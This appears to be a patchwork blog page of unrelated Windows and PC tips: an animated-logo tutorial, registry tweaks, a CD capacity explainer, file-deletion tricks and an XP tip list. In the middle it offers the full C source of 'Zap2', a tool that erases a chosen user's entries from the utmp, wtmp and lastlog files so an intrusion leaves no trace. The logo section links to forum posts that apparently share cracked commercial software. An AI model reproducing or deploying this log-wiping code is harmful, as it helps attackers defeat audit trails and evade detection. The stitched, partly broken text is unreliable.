Let’s start..

There are many ways to make an animated logo but the easy way is :-

Things you will need:

Steps:

Things you MIGHT need:

1. a computer

2. Internet connection

3. consciousness

4. corn on the cob

Here they are for your convinience:Adobe Photoshop CS v8.0                thanx to TheCollectorhttp://www.shareordie.com/index.php?showto…85&hl=Photoshop
Jasc Paint Shop Pro 9.0 Retail        thanx to arclitehttp://www.shareordie.com/index.php?showto…&hl=Jasc&st=100
Xara3D 5.02                            thanx to Zabrefhttp://www.shareordie.com/index.php?showtopic=6512&hl=XARA
Jasc Animation Shop 3.11              thanx to sev7enhttp://www.shareordie.com/index.php?showtopic=34928&hl=

Steps:1. Using your photo editor fix/touch up you pic/logo to your liking….too easy(example bellow)user posted image
2. Save it some where easy to find, for example “C:\pictures” or “C:\Windows\thecenterofhell\system\system32\system64\system128\???” although I don’t recommend the second one.
3.Open Xara3D 5.xx, press “Alt+T” or click on the “T” button on the LEFT PANEL erase all of the text in the window that pops up then press ok.user posted imageuser posted image
4. Press “Alt+U” or click on the yellow “U” surrounded in gray on the LEFT PANEL, check the “button” box and select a desire button type and leave this option window open you will need it again.user posted image
5. Press the “At+X” or click the black “X” on the LEFT PANEL, click “load texture” in the pop up window, find the picture you made/adjusted and highlight it then click open or just double-click it. Use the “size, x, y, angle” sliders to adjust the picture or “texture” and in the “button options” windows use the “stretch, corners”(corners, only if using this option you can adjust) to adjust the button size.user posted image
6. Press “Alt+A” or click the black “A” on the LEFT PANEL with what looks like to me is a half-halo with an arrow tip!? Anyway, here is a quick rundown on what the options here do: (BY THE WAY TO ACTIVATE OR “PREVIEW ANIMATION” PRESS “Ctrl+spacebar”).user posted image

A. Frames per cycle: This is the number of frames for each complete cycle through the animation sequence. The greater the number of frames the smoother the animation. The drawback is that the file is bigger – this is a big disadvantage for web graphics. You may need to try different values to get the best results.     B. Frames per second: The animation speed. Slow speeds can give jerky movement. High speeds can also give jerky movement as the program displaying the animation may not be able to keep up. Again you may need to try different values.     C. Pause: This pauses the first frame before continuing the rest of the animation. Type in a value in centiseconds (1/100ths of a second) – a 2 second pause is 200 cs. Note that this applies only to the first frame; use Frames per cycle and Frames per second to control the overall speed of the animation.     D. Loop Value: Unchecked is Infinite, Any other value see for yourself. Lmao     E. Loop: This lets you specify how many times the animation should repeat itself. Note that some browsers take any value other than 1 to mean ‘loop forever’. Therefore, your animation either plays once or forever.     F. Style: This controls the type of animation:Rotate 1 rotates all the text as one;    Rotate 2 rotates each character. (Buttons have a single Rotate option.) Rotate text/Rotate lights – select whether you want the text to rotate or the lights or both. You cannot rotate the shadow as this would create very large files. Direction – selects the direction of rotation.
Swing options: Swing 1 swings all the text as one; Swing 2 swings each character. (Buttons have a single Swing option.) Angle – how much you want the heading to swing.
Pulsate options: Pulsate 1 pulsates all the text as one; Pulsate 2 pulsates each character. (Buttons have a single Pulsate option.) Minimum text size – how far back to pulsate the text. Shrink+Grow & Grow+Shrink – only have an effect if you Pause the animation. These options select the starting point for the animation (maximum or minimum.)
Fade options: Fade in – the heading emerges from the background color. Fade out – the heading merges into the  background color.   SO AFTER PICKING ONE………………..

7. On the top left go to FILE>>>EXPORT ANIMATION or press “Ctrl+Shift+X” and save in desired location.user posted image
8. When the next window pops up (Export as animated gif save location then options): Experiment with each one to get it right, but remember the SoD rules about Siggys and Avatars.user posted imageuser posted image

Because Animated GIFs can be quite large, you may find that a 16 or 32 color, optimized palette per frame, produces the best results for the smallest file size. However you might need to experiment.Dithering always makes GIFs look better, but also makes them larger. When outputting at 256 colors you may find that there is no need to turn dithering on.Current Window Size lets you export just the area surrounding the text (Crop on) or the entire window area (Crop off.)User Defined lets you specify the dimensions of the bitmap.

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well, if you want text seperate from image, you could just do this:

<table width=”100%” height=”100%” border=”0″ cellpadding=”0″ cellspacing=”0″><td><td>
your text here, it’s totally fun, yeah yeah yeah
</td><td>
<img src=”your picture here”>
</td></tr></table>

if you want to have the image on the left side, and text on the right side, just reverse the code like so:

<table width=”100%” height=”100%” border=”0″ cellpadding=”0″ cellspacing=”0″><td valign=”bottom” align=”left”>
<img src=”your picture here”>
</td>
<td><td>
your text here, it’s totally fun, yeah yeah yeah
</td></tr></table>

On an NTFS partition, Disk Cleanup can compress old filesto save space. But calculating the savings and performingthe compression often take a long time, and on some systems,Disk Cleanup hangs during the process. If that happens, or ifyou don’t care to wait, use this Registry tweak to disable thecompression:

Delete the keyHKEY_ LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\Explorer\VolumeCaches\Compress Old Files.

A lot of programs you install will add themselves to the right-click menu of your files and/or folders. And most times, you have no choice in the matter and, as a result, your right-click menu can get very long with added items you don’t even use. The last person I was helping with this had a right context menu so long that the Rename option was no longer visible!

Fortunately, you can easily remove those unwanted menu items, if you know the registry values to edit. And it’s not at all difficult once you know the keys responsible for the additions.

For Files, the secret lies in the “context menu handlers” under the shellex subkey for “All Files” which, in the registry, is nothing but an asterisk – like a dos wildcard, which means the values entered apply to all files. It is at the very top of the Root key, right here:

HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers

Click the the + sign next to the ContextMenuHandlers key, to expand it.
Now you will see some of the programs that have added items to your right-click menu. Simply delete the program keys you don’t want.
Yup! It’s that simple. If deleting makes you uneasy, just export the key before deleting it. Or, instead of deleting the values, disable them. Simply double click the default value for the program on the right hand pane and rename the clsid value by placing a period or dash in front of it.

ie; – {b5eedee0-c06e-11cf-8c56-444553540000}

Then exit the registry, refresh, and right click a file to see if the item was removed from the menu.
Some programs – like WinZip or WinRar – will add several items to your right click menu but all of them will be removed by deleting or disabling their one context menu handler.

Note that the above key only applies to the right click menu of files.
To remove entries from the right click context menu of folders, you need to navigate to the Folder and Drive keys:

HKEY_CLASSES_ROOT\Folder\shellex\ContextMenuHandlers
HKEY_CLASSES_ROOT\Drive\shellex\ContextMenuHandlers

All you have to do is follow the same procedure as for Files – either disable or delete items you wish to remove.

Adding Items

Adding Items to the right click menu of Files and Folders is also fairly simple using the Registry. It just involves the creation of a few new keys for each item you wish to add. You edit the same keys used for removing items. Let’s use Notepad as an example of an item you’d like to add to the right click menu of all your files or folders.

For folders, go to this key:

HKEY_CLASSES_ROOT\Folder

Click the + sign next to Folder and expand it so that the Shell key is visible. Right click the Shell key and choose New>Key and name the key Notepad or whatever else you’d prefer (whatever the key is named is what will appear in the right-click menu). Now right click the new key you made and create another key named Command. Then, in the right hand pane, double click “Default” and enter Notepad.exe as the value.
Exit the registry, refresh, and right click any folder. Notepad should now be on the context menu.

For files, go here again:
HKEY_CLASSES_ROOT\*

Expand the * key and see if a Shell key exists. If it does exist, follow the same procedure as for folders. If it does not exist, you’ll have to create a new Shell first. Just right click the * key and choose New>Key and name it Shell. Then right click the Shell key and continue on the same way you did for adding items to the right click menu of folders.

Once done, Notepad should appear as an option in the right click menu of all your files.

Vic Ferri owns the very popular WinTips and Tricks <http://groups.yahoo.com/group/WinTips-Tricks> email group. He is also in charge of the Printing Tips <http://personal-computer-tutor.com/printing.htm> and Registry Tips <http://personal-computer-tutor.com/abc1/v4/vic4.htm> pages at Linda’s Computer Stop.

AbstractYou can fit on a S/VCD without overburning:- approx. 735 MB of MPEG data onto a 74min/650MB disc- approx. 795 MB of MPEG data onto an 80min/700MB disc
You can fit on a CD-ROM without overburning:- approx. 650 MB of data onto a 74min/650MB disc- approx. 703 MB of data onto an 80min/700MB disc
—————————————————————-
IntroductionLet us ignore for now the terms of megabyte for CD capacity and try to understand how the data is stored on a CD.
As well all know, the data is stored digitally as binary data. This means, however the actual information is actually kept on the disc, this information is in the form of “1″s and “0″s. Physically, the information on a CD is as pits on a thin sheet of metal (aluminium).
An a CD-R disc, the data is physically on an organic dye layer which simulates the metal layer on a real pressed CD.
—————————————————————-
How is the information structuredNow, on the CD, the information isn’t just organised from beginning to end willy-nilly. Otherwise, it would be really hard to find a useful piece of information on the CD.
Rather, the information is organised in sectors. Consider a sector as like a page in a book. Just like you are able to quickly find something in a book if you know the page number, you can quickly find something on a CD if you know the sector number.
Now, remember that the CD was original made to hold audio data. It was decided, that the CD would would 75 sectors per second of audio. Although I cannot guess where this number comes from, it is quite appropriate for the audio CD. It means that you can “seek” an audio CD accurately to 1/75th of a second — which is more than enough for consumer purposes.
Now, with this in mind, we can work out the total data capacity of user data for 1 sector.
—————————————————————-
The total data capacity of user data of 1 sector on a CDCD audio uses uncompressed PCM stereo audio, 16-bit resolution sampled at 44.1 kHz.
Thus 1 second of audio contains:16 bits/channel * 2 channels * 44100 samples/second * 1 second= 1411200 bits= 176400 bytes
Since there are 75 sectors per second1 sector= 176400 bytes / 75= 2352 bytes
One sector on a CD contains 2352 bytes max.
—————————————————————-
The concept of different MODES and FORMS of burningNow, audio CD was well and good, but the medium would become much more useful if you could store other data on the disc as well. This became to be know as CD-ROM of course.
Now, the audio-CD uses the ENTIRE sector for audio data.
However, for CD-ROMs this caused a problem. Simply, CDs and the CD reading mechanisms were not 100% faultless. That is, errors (indeed frequent errors) could be made during the reading. For audio CDs, this does not matter as much as you could simply interpolate from the adjacent audio samples. This will obviously NOT DO for data CDs. A single bit error could lead to a program being unexecutable or ruin an achive file.
Thus, for CD-ROMs, part of each sector is devoted to error correction codes and error detection codes. The CD-R FAQ has the details, but in effect, only 2048 bytes out of a total of 2352 bytes in each sector is available for user data on a data CD.
This burning mode is either MODE1 or MODE2 Form1.
—————————————————————-
MODE2 Form2 sectors of VCDs and SVCDsNow, for VCDs and SVCDs, the video tracks do not necessarily require the robust error correction as normal data on a CD-ROM. However, there is still some overhead per sector that is used for something other than video data (e.g., sync headers).
S/VCDs video tracks are burnt in what is called MODE2 Form2 sectors. In this mode, only 2324 bytes out of a total of 2352 bytes in each sector is available for user data.
This is MUCH MORE than for CD-ROMs, but still less per sector than audio CD.
—————————————————————-
The disc capacities of CD-ROMs, audio-CDs and VCDsNow, obviously what ultimately determines the capacity of a disc is the total number of sectors it contains. This is similar to the total number of pages in a blank exercise book (if you recall the book analogy).
The secondary determinant is the burning mode of the disc.
For audio CDs, it is as if you could fill each page from top to bottom with audio data as the entire sector is used for audio data.
For CD-ROMs, it is as if you need to first rule a margin and then leave the bottom part of each page for footnotes (headers + ECC + EDC). The amount of text you can actually write per page is then less due to these other constraints.
For S/VCDs, we still need to rule a margin on the page, but we don’t have to worry about the footnotes (headers). We can fit MORE text than a CD-ROM, but less than an audio-CD.
Now remember, 1 second on a CD = 75 sectors.
Thus:- 74 min CD = 333,000 sectors- 80 min CD = 360,000 sectors

Data capacity in Mb for an audio-CD74 min= 333,000 sectors * 2352 bytes / sector= 783216000 bytes= 746.9 Mb
80 min= 360,000 sectors * 2352 bytes / sector= 846720000 bytes= 807.5 Mb

Data capacity in Mb for a CD-ROM74 min= 333,000 sectors * 2048 bytes / sector= 681984000 bytes= 650.4 Mb
80 min= 360,000 sectors * 2048 bytes / sector= 737280000 bytes= 703.1 Mb

Data capacity in Mb for a S/VCD74 min= 333,000 sectors * 2324 bytes / sector= 773892000 bytes= 738.0 Mb
80 min= 360,000 sectors * 2324 bytes / sector= 836640000 bytes= 797.9 Mb
—————————————————————-
ConclusionsAs you can see, the often quoted capacities of 650MB and 700MB refer to CD-ROM capacities.
Due to the fact that S/VCDs use a different burning mode where MORE of each sector is available as user data, the relatively capacities are HIGHER.
Now, since S/VCDs are not composed of PURELY video tracks and have some unavoidable overheads, the actually total capacity left for video tracks is a few Mb less for each disc (about 735 Mb for 74min discs and 795 Mb for 80min discs). This is where the often quoted capacities of 740MB and 800MB come from. They are quite accurate.
All these capacities are available BEFORE overburning. Overburning is where you burn MORE sectors than the disc is rated for. If you overburn, you can typically achieve about 1-2 minutes of additional capacity (depending on your drive and media).
—————————————————————-

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: P

: D

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>:(

: \

:'(

3:)

(^^^)

O:)	:-*	<3	^_^	-_-	O.o	>:o	:v	:3	]	:putnam:

See them on my other blogs :-

www.simplyblogging.co.cc

open a dos prompt and give the command

convert d: /fs:ntfs

this command would convert your d: drive to ntfs.

if the system cannot lock the drive, you will be prompted to convert it during next reboot.

Normally you should select yes.

Conversion from fat/fat32 to ntfs is non-destructive, your data on the drive will NOT be lost.

Be aware that converting to ntfs will make that partition of your

drive unreadable under dos unless you have ntfs utilites to do so.

Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.

Example:

#include

#include

#include

#include

#include

#include

#include

#include

#define WTMP_NAME “/usr/adm/wtmp”

#define UTMP_NAME “/etc/utmp”

#define LASTLOG_NAME “/usr/adm/lastlog”

int f;

void kill_utmp(who)

char *who;

{

struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {

while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char *)&utmp_ent,sizeof( utmp_ent ));

lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);

write (f, &utmp_ent, sizeof (utmp_ent));

}

close(f);

}

}

void kill_wtmp(who)

char *who;

{

struct utmp utmp_ent;

long pos;

pos = 1L;

if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {

lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);

if (read (f, &utmp_ent, sizeof (struct utmp))<0) {

pos = -1L;

} else {

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char *)&utmp_ent,sizeof(struct utmp ));

lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);

write (f, &utmp_ent, sizeof (utmp_ent));

pos = -1L;

} else pos += 1L;

}

}

close(f);

}

}

void kill_lastlog(who)

char *who;

{

struct passwd *pwd;

struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {

lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);

bzero((char *)&newll,sizeof( newll ));

write(f, (char *)&newll, sizeof( newll ));

close(f);

}

} else printf(“%s: ?\n”,who);

}

main(argc,argv)

int argc;

char *argv[];

{

if (argc==2) {

kill_lastlog(argv[1]);

kill_wtmp(argv[1]);

kill_utmp(argv[1]);

printf(“Zap2!\n”);

} else

printf(“Error.\n”);

}

Open a Command Prompt window and leave it open.

Close all open programs.

Click Start, Run and enter TASKMGR.EXE

Go to the Processes tab and End Process on Explorer.exe.

Leave Task Manager open.

Go back to the Command Prompt window and change to the directory the AVI (or other undeletable file) is located in.

At the command prompt type DEL <filename> where <filename> is the file you wish to delete.

Go back to Task Manager, click File, New Task and enter EXPLORER.EXE to restart the GUI shell.

Close Task Manager.

Or you can try this

Open Notepad.exe

Click File>Save As..>

locate the folder where ur undeletable file is

Choose ‘All files’ from the file type box

click once on the file u wanna delete so its name appears in the ‘filename’ box

put a ” at the start and end of the filename

(the filename should have the extension of the undeletable file so it will overwrite it)

click save,

It should ask u to overwrite the existing file, choose yes and u can delete it as normal

Here’s a manual way of doing it. I’ll take this off once you put into your first post zain.

1. Start

2. Run

3. Type: command

4. To move into a directory type: cd c:\*** (The stars stand for your folder)

5. If you cannot access the folder because it has spaces for example Program Files or Kazaa Lite folder you have to do the following. instead of typing in the full folder name only take the first 6 letters then put a ~ and then 1 without spaces. Example: cd c:\progra~1\kazaal~1

6. Once your in the folder the non-deletable file it in type in dir – a list will come up with everything inside.

7. Now to delete the file type in del ***.bmp, txt, jpg, avi, etc… And if the file name has spaces you would use the special 1st 6 letters followed by a ~ and a 1 rule. Example: if your file name was bad file.bmp you would type once in the specific folder thorugh command, del badfil~1.bmp and your file should be gone. Make sure to type in the correct extension.

Lots Of Windows Xp Tips, Take A Look !

Lock XP Workstation (#1)

You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter ‘rundll32.exe user32.dll, LockWorkStation’ in the location field. Give the shortcut a name you like. That’s it — just double click on it and your computer will be locked. And if that’s not easy enough, Windows key + L will do the same.

Remove Windows XP system software (#2)

XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word ‘hide’ and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.

New commands (#3)

For those skilled in the art of DOS batch files, XP has a number of interesting new commands. These include ‘eventcreate’ and ‘eventtriggers’ for creating and watching system events, ‘typeperf’ for monitoring performance of various subsystems, and ’schtasks’ for handling scheduled tasks. As usual, typing the command name followed by /? will give a list of options — they’re all far too baroque to go into here.

Windows XP supports IPv6 (#4)

XP has IP version 6 support — the next generation of IP. Unfortunately this is more than your ISP has, so you can only experiment with this on your LAN. Type ‘ipv6 install’ into Run… (it’s OK, it won’t ruin your existing network setup) and then ‘ipv6 /?’ at the command line to find out more. If you don’t know what IPv6 is, don’t worry and don’t bother.

Kill tasks from the command line (#5)

You can at last get rid of tasks on the computer from the command line by using ‘taskkill /pid’ and the task number, or just ‘tskill’ and the process number. Find that out by typing ‘tasklist’, which will also tell you a lot about what’s going on in your system.

Enable ClearType by default (#6)

XP has ClearType — Microsoft’s anti-aliasing font display technology– but doesn’t have it enabled by default. It’s well worth trying, especially if you were there for DOS and all those years of staring at a screen have given you the eyes of an astigmatic bat. To enable ClearType, right click on the desktop, select Properties, Appearance, Effects, select ClearType from the second drop-down menu and enable the selection. Expect best results on laptop displays. If you want to use ClearType on the Welcome login screen as well, set the registry entry

HKEY_USERS/.DEFAULT/ControlPanel/Desktop/FontSmoothingType to 2.

Run program as different user (#7)

You can run a program as a different user without logging out and back in again. Right click the icon, select Run As… and enter the user name and password you want to use. This only applies for that run. The trick is particularly useful if you need to have administrative permissions to install a program, which many require. Note that you can have some fun by running programs multiple times on the same system as different users, but this can have unforeseen effects.

Speed up the Start Menu (#8)

The Start Menu can be leisurely when it decides to appear, but you can speed things along by changing the registry entry HKEY_CURRENT_USER/Control Panel/Desktop/MenuShowDelay from the default 400 to something a little snappier. Like 0.

Rename multiple files at once (#9)

You can rename loads of files at once in Windows Explorer. Highlight a set of files in a window, then right click on one and rename it. All the other files will be renamed to that name, with individual numbers in brackets to distinguish them. Also, in a folder you can arrange icons in alphabetized groups by View, Arrange Icon By… Show In-Groups.

Show cover art in Media Player (#10)

Windows Media Player will display the cover art for albums as it plays the tracks — if it found the picture on the Internet when you copied the tracks from the CD. If it didn’t, or if you have lots of pre-WMP music files, you can put your own copy of the cover art in the same directory as the tracks. Just call it folder.jpg and Windows Media Player will pick it up and display it.

Display Hibernate Option on the Shut Down dialog (#11)

For some reason, Hibernate isn’t available from the default Shut Down dialog. But you can enable it simply enough, by holding down the SHIFT key while the dialog is visible. Now you see it, now you don’t!

Enable ClearType on the Welcome Screen! (#12)

As laptop users and other LCD owners are quickly realizing, Microsoft’s ClearType technology in Windows XP really makes a big difference for readability. But the this feature is enabled on a per-user basis in Windows XP, so you can’t see the effect on the Welcome screen; it only appears after you logon.

But you can fix that. Fire up the Registry Editor and look for the following keys:

(default user) HKEY_USERS \ .Default \ Control Panel \ Desktop \

FontSmoothing (String Value)

HKEY_USERS \ .Default \ Control Panel \ Desktop \

FontSmoothingType (Hexadecimal DWORD Value)

Make sure both of these values are set to 2 and you’ll have ClearType enabled on the Welcome screen and on each new user by default.

Change User Picture (#13)

Click on the Icon at the top of the start menu. Select desired picture from resulting screen Windows 2000 style logon. To revert back to the Win2k style logon so you can log on as the administrator and other options, press ctrl+alt+delete twice at the logon screen. Change the location of the My Music or My Pictures folders:

In Windows 2000, Microsoft added the ability to right-click the My Documents folder and choose a new location for that folder in the shell. With Windows XP, Microsoft has elevated the My Music and My Pictures folders to the same “special shell folder” status of My Documents, but they never added a similar (and simple) method for changing those folder’s locations. However, it is actually pretty easy to change the location of these folders, using the following method.

Open a My Computer window and navigate to the location where you’d like My Music (or My Pictures) to reside. Then, open the My Documents folder in a different window. Drag the My Music (or My Pictures) folder to the other window, and Windows XP will update all of the references to that folder to the new location, including the Start menu.

Protect Your Files From Unauthorized Users (#14)

Other users with permission to delete a file (users with Modify or Full Control permission) can’t use your encrypted files-but they can make them difficult for you to use. Any such user can rename your files, which can make them difficult to find, and can also delete your files. (Even if the user merely deletes them to the Recycle Bin and doesn’t remove them altogether, the deleted files are unavailable to you because you don’t have access to any other user’s Recycle Bin.) Therefore, if you’re concerned about protecting your files from other authorized users as well as from a thief who steals your computer, you should modify the NTFS permissions to prevent any type of modification by other users.

Shutdown Your System in a Hurry (#15)

If you need to shut down in a hurry-or if a frozen application prevents you from shutting down in the normal ways-you can use the following procedure. Be aware, however, that you won’t get an opportunity to save open documents. To perform an emergency shutdown, press Ctrl+Alt+Del to display Task Manager. Open the Shut down menu and hold down the Ctrl key as you click the Turn Off command. Poof! If your computer is part of a domain, the procedure is similar. Press Ctrl+Alt+Del and then hold down Ctrl when you click Shut Down. In this situation, you’ll get a warning message pointing out-quite correctly-that this should be used only as a last resort.

Provide Personal Support (#16)

It never fails: when friends, co-workers, or family members discover that you’re a Windows expert, you get pressed into service as an unpaid support technician. If the party asking for help is running any edition of Windows XP and has an active Internet connection, your job is much easier. Have the other person send you a Remote Assistance request; when you accept the request, you connect directly to their computer and can edit Registry settings, fix file associations, set System options, and perform just about any other troubleshooting or repair task, just as if you were sitting at the other person’s desk.

Quickly Fix Connectivity Problems (#17)

Are you having trouble connecting to other computers on your local area network? If your network uses a hardware firewall that assigns IP addresses to each machine and you’re certain you’ve configured all other components correctly, check to see whether the Internet Connection Firewall is enabled. That component can effectively block communication between PCs on the network.

Hack IE Title Bar (#18)

This can be an impressive bit of personalization. Use your name or moniker to brand Internet Explorer. Go to HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\ and left-click on Main to change the string “Window Title” to whatever you wish.

Unload DLLs (#19)

To prevent Windows from caching DLLs after the program using them has closed, follow this procedure: Navigate to

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ then left-click on Explorer. Right-click (as above) and create the DWORD

AlwaysUnloadDLL with a value of 1. This requires a reboot to take effect. This will allow memory to be used more efficiently.

Registry Hacks (#20)

Editing the Windows Registry, while much more common now than in years past, is still not to be entered into lightly. You can break Windows, cause boot failure. I know you’re gonna do it anyway; why else would you be reading this. Just be careful, OK?

These are few because, for the most part WinXP can be customized through the interlace or with third-party freeware (as above).

All of the tips below require running regedit. To do so, hit ‘Start/Run’ then type ‘regedit’ and follow the instructions.

Naturally, I take no responsibility for any damage or loss of data incurred in the remote possibility that something goes terribly wrong.

The Ultimate Appearance Tweak (#21)

Microsoft said: “You can connect up to 10 monitors to your Windows XP-based computer and display numerous programs or windows at one time. You can use your mouse to move items from one monitor to another. You can open a different file on each monitor. Or several. Or you can stretch one item across several monitors; so for example, you can see more columns in a Microsoft Excel spreadsheet, or the entire layout of a Web page, without scrolling.” Consider it. Monitors and PCI video cards are pretty cheap now. Windows recognizes the addition & allows easy adjustments on the ‘Display Properties/Settings’ menu.

Save Streaming Media (#22)

It’s cool to listen to MP3s (or watch movies) over the Internet. Often, saving this media, however, seems impossible. Hey, if it plays on your computer, it’s on your hard drive. Once the file is fully loaded and with folder view set to show hidden and systems folders, searches for the media (.mp3 or .mpg). There it is!

Securing the Paging File (#23)

If you’re truly concerned about the possibility of your computer falling into the wrong hands, you should be sure that you don’t leave any tracks in the paging file. By default, when you shut down your system, the paging file remains intact. People who’ve access to your computer could conceivably look through the unencrypted paging file to find information they shouldn’t have.

Assign a Keyboard Shortcut (#24)

Click in the Shortcut Key field and press a keyboard combination that you want to use for launching or switching to this program. The shortcut key you assign must consist of one character key (a letter, number, or symbol) plus at least two of the following three keys: Ctrl, Alt, and Shift. (If you press a character key only, Windows automatically adds Ctrl+Alt.)

Shortcut keys work only when assigned to a program shortcut on the Start menu, the Programs menu, or the Desktop. The shortcuts you define will not work if it conflicts with a combination used in the program whose window has the focus.

Please remember, we cannot accept responsibility with what you decide to do with these tips. These tips act as a guide to tweaking and changing Windows XP from the default settings. If you are unsure about how to make these changes then don’t meddle !